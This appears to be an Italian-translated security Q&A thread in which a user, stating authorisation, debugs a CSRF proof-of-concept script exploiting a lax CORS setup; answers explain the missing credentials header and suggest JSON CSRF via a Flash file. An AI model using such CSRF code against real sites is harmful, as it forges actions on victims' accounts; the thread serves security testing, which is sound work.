XMLHttpRequest CSRF non riesce con CORS consentito

2

Al momento sto lavorando a un PoC per un attacco CSRF, che dovrebbe essere possibile a causa della lassità della configurazione di CORS. Ho il permesso di attaccare.

Ora il codice seguente dovrebbe inviare una richiesta OPTIONS, che include tutti i dettagli richiesti dal browser per inviare il CSRF effettivo.

<html>
<head>
</head>
<body>
    <script>

    function createCORSRequest(method, url){
    var xhr = new XMLHttpRequest();
    if ("withCredentials" in xhr){
        xhr.open(method, url, true);
    } else if (typeof XDomainRequest != "undefined"){
        xhr = new XDomainRequest();
        xhr.open(method, url);
    } else {
        xhr = null;
    }
    return xhr;
    }


    var url = 'https://api.example.com/path';
    var xhr = createCORSRequest('POST', url);
    xhr.withCredentials = true;
    xhr.setRequestHeader('Content-Type', "application/json");
    xhr.send("EXAMPLE");

    </script>
</body>
</html> 

Il browser invia una richiesta OPTIONS e il server risponde di conseguenza:

Richiesta di OPZIONI:

OPTIONS /path HTTP/1.1
Host: api.example.com
User-Agent: Agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
origin: null
Connection: close
Cache-Control: max-age=0

Risposta:

HTTP/1.1 200 OK
Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, PATCH, DELETE
Access-Control-Allow-Origin: *
Date: Fri, 21 Sep 2018 07:25:06 GMT
Content-Length: 0
Connection: close

Ma la richiesta POST non viene mai inviata. Non sono molto bravo con JS e ho cucito insieme la parte XHR da diversi post StackExchange. Una variante di questo ha funzionato per me per una diversa applicazione web.

Perché il browser non invia la richiesta POST CSRF?

    
posta SaAtomic 21.09.2018 - 09:36
fonte

2 risposte

2

Ho identificato il problema. Le impostazioni CORS non consentono "withCredentials" in quanto il server non risponde con Access-Control-Allow-Credentials: true , motivo per cui la richiesta POST non viene eseguita.

Inoltre, come dichiarato da @Matthew, con un carattere jolly per Access-Control-Allow-Origin , l'intestazione Authorization non può essere inviata.

    
risposta data 21.09.2018 - 10:39
fonte
1

L'attacco è possibile, non hai bisogno di CORS e non hai bisogno di XHR per sfruttare, prova l'ingegnoso json CSRF via file swf.

link

    
risposta data 21.09.2018 - 11:39
fonte

Leggi altre domande sui tag